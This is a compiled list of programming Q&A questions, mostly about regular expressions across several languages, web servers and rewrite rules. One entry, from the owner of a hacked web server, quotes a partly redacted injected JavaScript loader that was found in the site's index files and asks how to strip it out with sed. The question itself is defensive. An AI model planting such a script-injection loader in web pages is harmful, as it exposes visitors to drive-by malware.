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  • Using regular expressions to remove relative path slashes

    - by Adam Carlile
    Hey Guys I am trying to remove all the relative image path slashes from a chunk of HTML that contains several other elements. For example <img src="../../../../images/upload/1/test.jpg /> would need to become <img src="http://s3.amazonaws.com/website/images/upload/1/test.jpg" /> I was thinking of writing this as a rails helper, and just passing the entire block into the method, and make using Nokogiri or Hpricot to parse the HTML instead, but I don't really know. Any help would be great Cheers Adam

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  • Lua pattern matching vs. regular expressions

    - by harald
    hello, i'm currently learning lua. regarding pattern-matching in lua i found the following sentence in the lua documentation on lua.org: Nevertheless, pattern matching in Lua is a powerful tool and includes some features that are difficult to match with standard POSIX implementations. as i'm familiar with posix regular expressions i would like to know if there are any common samples where lua pattern matching is "better" compared to regular expression -- or did i misinterpret the sentence? and if there are any common examples: why is any of pattern-matching vs. regular expressions better suited? thanks very much, harald

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  • Create a permalink with Javascript

    - by Jon Romero
    I have a textbox where a user puts a string like this: "hello world! I think that __i__ am awesome (yes I am!)" I need to create a correct url like this: hello-world-i-think-that-i-am-awesome-yes-i-am How can be done using reg expressions? Also, is it possible to do it with Greek (for example)? "Ge?a s?? ??sµe" turns to geia-sou-kosme In other programming languages (python/ruby) I am using a translation array. Should I do the same here?

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  • AS3 : RegExp exec method in loop problem

    - by Boun
    Hi everyone, I need some help about RegExp in AS3. I have a simple pattern : patternYouTube = new RegExp ( "v(?:\/|=)([A-Z0-9_-]+)", "gi" ); This pattern is looking for the youTube id video. For example : var tmpUrl : String; var result : Object; var toto : Array = new Array(); toto = [http://www.youtube.com/v/J-vCxmjCm-8&autoplay=1, http://www.youtube.com/v/xFTRnE1WBmU&autoplay=1]; var i : uint; for ( i = 0 ; i < toto.length ; i++) { tmpUrl = toto[i]; result = patternYouTube.exec ( tmpUrl ); if ( result.length != 0 && result != null ) { trace(result); } } When i == 0, it works perfectly. Flash returns me : v/J-vCxmjCm-8,J-vCxmjCm-8 When i == 1, it fails. Flash returns me : null When I revert the two strings in my array such as : toto = [ http://www.youtube.com/v/xFTRnE1WBmU&autoplay=1, http://www.youtube.com/v/J-vCxmjCm-8&autoplay=1 ]; When i == 0, it works perfectly : Flash returns me : xFTRnE1WBmU When i == 1, it fails : Flash returns me : null Do you have any idea about the problem in the loop ?

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  • JAVA Regular Expression Errors

    - by Berkay
    I'm working on a simply password strength checker and i can not success applying regular expressions. In different resources different kinds of regular expressions are defined. i also find javascript regular expressions but had some problems to adapt. First, these are the regular expressions i need for JAVA: at least one lower case letter at least one upper case letter at least one number at least three numbers at least one special character at least two special characters both letters and numbers both upper and lower case letters, numbers, and special characters My goal is not being a regular expression expert i just want to use the parts i need.If you direct me good tutorials which discusses above for java, will be appreciated. Second, in this link some of them are mentioned but i'm getting problems to apply them. here does not catch the lower case letter (my pass: A5677a) if (passwd.matches("(?=.*[a-z])")) // [verified] at least one lower case letter {Score = Score+5;} Also here i'm getting error : illegal escape character. if (passwd.matches("(?=.*\d)")) // [verified] at least one number Finally, are these expressions all different in different kind of programming or script languages?

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  • JS/Jquery, Match not finding the PNG = match('/gif|jpg|jpeg|png/')

    - by nobosh
    I have the following code which I use to match fancybox possible elements: $('a.grouped_elements').each(function(){ var elem = $(this); // Convert everything to lower case to match smart if(elem.attr('href').toLowerCase().match('/gif|jpg|jpeg|png/') != null) { elem.fancybox(); } }); It works great with JPGs but it isn't matching PNGs for some reason. Anyone see a bug with the code? Thanks

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  • PCRE multi line matche problem

    - by Simone Margaritelli
    Hi guys, i have this C++ program (actually it's just a snippet) : #include <iostream> #include <pcre.h> #include <string> using namespace std; int main(){ string pattern = "<a\\s+href\\s*=\\s*\"([^\"]+)\"", html = "<html>\n" "<body>\n" "<a href=\"example_link_1\"/>\n" "<a href=\"example_link_2\"/>\n" "<a href=\"example_link_3\"/>\n" "</body>\n" "</html>"; int i, ccount, rc, *offsets, eoffset; const char *error; pcre *compiled; compiled = pcre_compile( pattern.c_str(), PCRE_CASELESS | PCRE_MULTILINE, &error, &eoffset, 0 ); if( !compiled ){ cerr << "Error compiling the regexp!!" << endl; return 0; } rc = pcre_fullinfo( compiled, 0, PCRE_INFO_CAPTURECOUNT, &ccount ); offsets = new int[ 3 * (ccount + 1) ]; rc = pcre_exec( compiled, 0, html.c_str(), html.length(), 0, 0, offsets, 3 * (ccount + 1) ); if( rc >= 0 ){ for( i = 1; i < rc; ++i ){ cout << "Match : " << html.substr( offsets[2*i], offsets[2*i+1] - offsets[2*i] ) << endl; } } else{ cout << "Sorry, no matches!" << endl; } delete [] offsets; return 0; } As you can see, i'm trying to match html links inside a buffer with the given regular expression (the \\s is \s escaped for C/C++ strings). But, even if in the buffer there are 3 links and the regexp is compiled with the PCRE_CASELESS and PCRE_MULTILINE flags, i match only one element : Match : example_link_1 Note: I start the loop fro index 1 because the pcre library returns the string that matched (not the match itself) as the first element, and the matches follows. What's wrong with this code? The regexp itself i think it's correct (tried in PHP for instance).

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  • java Regular expression matching html

    - by user121196
    I want to match and capture the enclosing content of the <pre></pre> tag tried the following, not working, what's wrong? String p="<pre>.*</pre>"; Matcher m=Pattern.compile(p,Pattern.MULTILINE|Pattern.CASE_INSENSITIVE).matcher(input); if(m.find()){ String g=m.group(0); System.out.println("g is "+g); }

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  • Ruby Regexp: + vs *. special behaviour?

    - by seb
    Using ruby regexp I get the following results: >> 'foobar'[/o+/] => "oo" >> 'foobar'[/o*/] => "" But: >> 'foobar'[/fo+/] => "foo" >> 'foobar'[/fo*/] => "foo" The documentation says: *: zero or more repetitions of the preceding +: one or more repetitions of the preceding So i expect that 'foobar'[/o*/] returns the same result as 'foobar'[/o+/] Does anybody have an explanation for that

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  • Regular expressions in URL Rewrite Module for IIS7

    - by TN
    I have following rewrite rule to append .aspx extension if url has no extension. <rule name="SimpleRewrite" stopProcessing="true"> <match url="^(.*(?&lt;=/)([^/.]*))$" /> <action type="Rewrite" url="{R:1}.aspx" /> </rule> However the rule is not working: Error HTTP 500.52 - URL Rewrite Module Error. The expression "^(.*(?<=/)([^/.]*))$" has an invalid syntax. However, this regular expression works in .NET. What regular expressions are supported by IIS Url Rewrite Module? How to make positive lookbehind assertion?

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  • php PHPExcel split Excel cell coordinate

    - by Shiro
    currently, I used PHPExcel to import excel file, there is a function $cell-getCoordinate(); I would like to ask any solution for split the cell coordinate alphabet and integer? e.g A1, A2, I need to know currently which row, and until which column. I do some research about split, but not luck for it. Any idea?

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  • Big problem with regular expression in Lex (lexical analyzer)

    - by Nazgulled
    Hi, I have some content like this: author = "Marjan Mernik and Viljem Zumer", title = "Implementation of multiple attribute grammar inheritance in the tool LISA", year = 1999 author = "Manfred Broy and Martin Wirsing", title = "Generalized Heterogeneous Algebras and Partial Interpretations", year = 1983 author = "Ikuo Nakata and Masataka Sassa", title = "L-Attributed LL(1)-Grammars are LR-Attributed", journal = "Information Processing Letters" And I need to catch everything between double quotes for title. My first try was this: ^(" "|\t)+"title"" "*=" "*"\"".+"\"," Which catches the first example, but not the other two. The other have multiple lines and that's the problem. I though about changing to something with \n somewhere to allow multiple lines, like this: ^(" "|\t)+"title"" "*=" "*"\""(.|\n)+"\"," But this doesn't help, instead, it catches everything. Than I though, "what I want is between double quotes, what if I catch everything until I find another " followed by ,? This way I could know if I was at the end of the title or not, no matter the number of lines, like this: ^(" "|\t)+"title"" "*=" "*"\""[^"\""]+"," But this has another problem... The example above doesn't have it, but the double quote symbol (") can be in between the title declaration. For instance: title = "aaaaaaa \"X bbbbbb", And yes, it will always be preceded by a backslash (\). Any suggestions to fix this regexp?

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  • Parsing srt subtitles

    - by Vojtech R.
    Hi, I want to parse srt subtitles: 1 00:00:12,815 --> 00:00:14,509 Chlapi, jak to jde s tema pracovníma svetlama?. 2 00:00:14,815 --> 00:00:16,498 Trochu je zesilujeme. 3 00:00:16,934 --> 00:00:17,814 Jo, sleduj. Every item into structure. With this regexs: A: RE_ITEM = re.compile(r'''(?P<index>\d+).(?P<start>\d{2}:\d{2}:\d{2},\d{3}) --> (?P<end>\d{2}:\d{2}:\d{2},\d{3}).(?P<text>.*?)''', re.DOTALL) B: RE_ITEM = re.compile(r'''(?P<index>\d+).(?P<start>\d{2}:\d{2}:\d{2},\d{3}) --> (?P<end>\d{2}:\d{2}:\d{2},\d{3}).(?P<text>.*)''', re.DOTALL) And this code: for i in Subtitles.RE_ITEM.finditer(text): result.append((i.group('index'), i.group('start'), i.group('end'), i.group('text'))) With code B I have only one item in array (because of greedy .*) and with code A I have empty 'text' because of no-greedy .*? How to cure this? Thanks

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  • Zend Router Route Regex with Search params

    - by balan-mahadevan
    Hi , Trying to grab the params after ?. I need them to add to the Zend_Paginator. ex: http://www.example.com/test/show?name=xxx&age=20&sex=m Building a paginator for search results. Is there any solution for that ? $router = new Zend_Controller_Router_Route_Regex( 'test/show\?(.*)', array( 'controller' = 'test', 'action' = 'show', 'module' = 'user' ), array( 1 = 'q' ), 'test/show%s' ); $router_prev->addRoute('view',$router);

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  • Verifying regular expression for malware removal

    - by Legend
    Unfortunately, one of my web servers was compromised recently. I have two questions. Is there a way I can scan the downloaded directory for backdoors? Is there anything I can do to ensure that at least known vulnerabilities do not exist anymore? Secondly, the malware put up the following in all index.* files on my webserver: <script>/*GNU GPL*/ try{window.onload = function(){var Hva23p3hnyirlpv7 = document.createElement('script');Hva23p3hnyirlpv7.setAttribute('type', 'text/javascript');Hva23p3hnyirlpv7.setAttribute('id', 'myscript1');Hva23p3hnyirlpv7.setAttribute('src',.... CODE DELETED FOR SAFETY.... );}} catch(e) {}</script> Obviously, this snippet seems to download some rogue file onto the user's machine. I downloaded an entire backup of the web server and am currently trying to remove this snippet from all file. For this I am doing: find ./ -name "index.*" -exec sed -i 's/<script>\/\*GNU GPL\*.*Hva23p3hnyirlpv7.*<\/script>//g' {} \; Just wanted to verify if this does the trick. I verified it with a few files but I want to be sure that this doesn't delete some valid code. Anyone suggests any other modifications?

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  • Python 3: unpack inner lists in list comprehension

    - by Beau Martínez
    I'm running the following code on a list of strings to return a list of its words: words = [re.split('\\s+', line) for line in lines] However, I end up getting something like: [['import', 're', ''], ['', ''], ['def', 'word_count(filename):', ''], ...] As opposed to the desired: ['import', 're', '', '', '', 'def', 'word_count(filename):', '', ...] How can I unpack the lists re.split('\\s+', line) produces in the above list comprehension? Naïvely, I tried using * but that doesn't work. (I'm looking for a simple and Pythonic way of doing; I was tempted to write a function but I'm sure the language accommodates for this issue.)

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  • propertyregex removes return characters in multiline

    - by javydreamercsw
    I'm using ants propertyregex method to change a property and it works fine up to a point. I'm lossing return characters. Here's what I'm trying to change: cluster.path=\ ${nbplatform.active.dir}/harness:\ ${nbplatform.active.dir}/platform:\ ${nbplatform.active.dir}/nb This is in a .properties file. So I'm trying to change it like this: <propertyregex property="cluster.path" input="${cluster.path}" regexp="nbplatform.active.dir" replace="xplatform.base" global="true" override="true"/> The stuff is replaced but I get: cluster.path= ${xplatform.base}/harness\: ${xplatform.base}/platform\: ${xplatform.base}/nb This brakes logic down the line not controlled by me (Netbeans) that uses the ':' as delimiter. Any idea?

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  • Apache RewriteRule: it is possible to 'detect' the first and second parameter?

    - by DaNieL
    Im really really a newbie in regexp and i cant figure out how to do that. My goal is to have the RewriteRule to 'slice' the request url in 3 parts: example.com/foo #should return: index.php?a=foo&b=&c= example.com/foo/bar #should return: index.php?a=foo&b=bar&c= example.com/foo/bar/baz #should return: index.php?a=foo&b=bar&c=baz example.com/foo/bar/baz/bee #should return: index.php?a=foo&b=bar&c=baz/bee example.com/foo/bar/baz/bee/apple #should return: index.php?a=foo&b=bar&c=baz/bee/apple example.com/foo/bar/baz/bee/apple/and/whatever/else/no/limit/in/those/extra/parameters #should return: index.php?a=foo&b=bar&c=baz/bee/apple/and/whatever/else/no/limit/in/those/extra/parameters In short, the first parameter in the url (foo) should be given to a, the second (bar) to b, and the rest of the string in c I wroted this one <IfModule mod_rewrite.c> RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !=/favicon.ico RewriteRule ^(([a-z0-9/]))?(([a-z0-9/]+))?(([a-z0-9]+))(.*)$ index.php?a=$1&b=$2&c=$3 [L,QSA] </IfModule> but obviously doesnt work, and i dont even know if what i want is possible. Any suggestion?

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  • mod_rewrite to nginx rewrite rules

    - by Andrew Bestic
    I have converted most of my Apache HTTPd mod_rewrite rules over to nginx's HttpRewrite module (which calls PHP-FPM via FastCGI on every dynamic request). Simple rules which are defined by hard locations work fine: location = /favicon.ico { rewrite ^(.*)$ /_core/frontend.php?type=ico&file=include__favicon last; } I am still having trouble with regular expressions, which are parsed in mod_rewrite like this (note that I am accepting trailing slashes within the rules, as well as appending the query string to every request): mod_rewrite # File handler RewriteRule ^([a-z0-9-_,+=]+)\.([a-z]+)$ _core/frontend.php?type=$2&file=$1 [QSA,L] # Page handler RewriteRule ^([a-z0-9-_,+=]+)$ _core/frontend.php?route=$1 [QSA,L] RewriteRule ^([a-z0-9-_,+=]+)\/$ _core/frontend.php?route=$1 [QSA,L] RewriteRule ^([a-z0-9-_,+=]+)\/([a-z0-9-_,+=]+)$ _core/frontend.php?route=$1/$2 [QSA,L] RewriteRule ^([a-z0-9-_,+=]+)\/([a-z0-9-_,+=]+)\/$ _core/frontend.php?route=$1/$2 [QSA,L] RewriteRule ^([a-z0-9-_,+=]+)\/([a-z0-9-_,+=]+)\/([a-z0-9-_,+=]+)$ _core/frontend.php?route=$1/$2/$3 [QSA,L] RewriteRule ^([a-z0-9-_,+=]+)\/([a-z0-9-_,+=]+)\/([a-z0-9-_,+=]+)\/$ _core/frontend.php?route=$1/$2/$3 [QSA,L] I have come up with the following server configuration for the site, but I am met with unmatched rules after parsing a request (eg; GET /user/auth): attempted nginx rewrite location / { # File handler rewrite ^([a-z0-9-_,+=]+)\.([a-z]+)?(.*)$ /_core/frontend.php?type=$2&file=$1&$3 break; # Page handler rewrite ^([a-z0-9-_,+=]+)(\/*)?(.*)$ /_core/frontend.php?route=$1&$2 break; rewrite ^([a-z0-9-_,+=]+)\/([a-z0-9-_,+=]+)(\/*)?(.*)$ /_core/frontend.php?route=$1/$2&$3 break; rewrite ^([a-z0-9-_,+=]+)\/([a-z0-9-_,+=]+)\/([a-z0-9-_,+=]+)(\/*)?(.*)$ /_core/frontend.php?route=$1/$2/$3&$4 break; } What would you suggest for dealing with my File Handler (which is just filename.ext), and my Page Handler (which is a unique route request with up to 3 properties defined by a forward slash)? As I haven't gotten a response from this yet, I am also unsure if this will override my PHP parser which is defined with location ~ \.php {}, which is included before these rewrite rules. Bonus points if I can solve the parsing issues without the need to use a new rule for each number of route properties.

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  • Converting Straight Quotes to Curly Quotes

    - by BlueVoid
    I have an application which uses a javascript based rules engine. I need a way to convert regular straight quotes into curl (or smart) quotes. It'd be easy to just do a string.replace for ["], only this will only insert one case of the curly quote. The best way I could think of was replace the first occurrence of a quote with a left curly quote and every other one following with a left, and the rest right curly. Is there a way to accomplish this using javascript?

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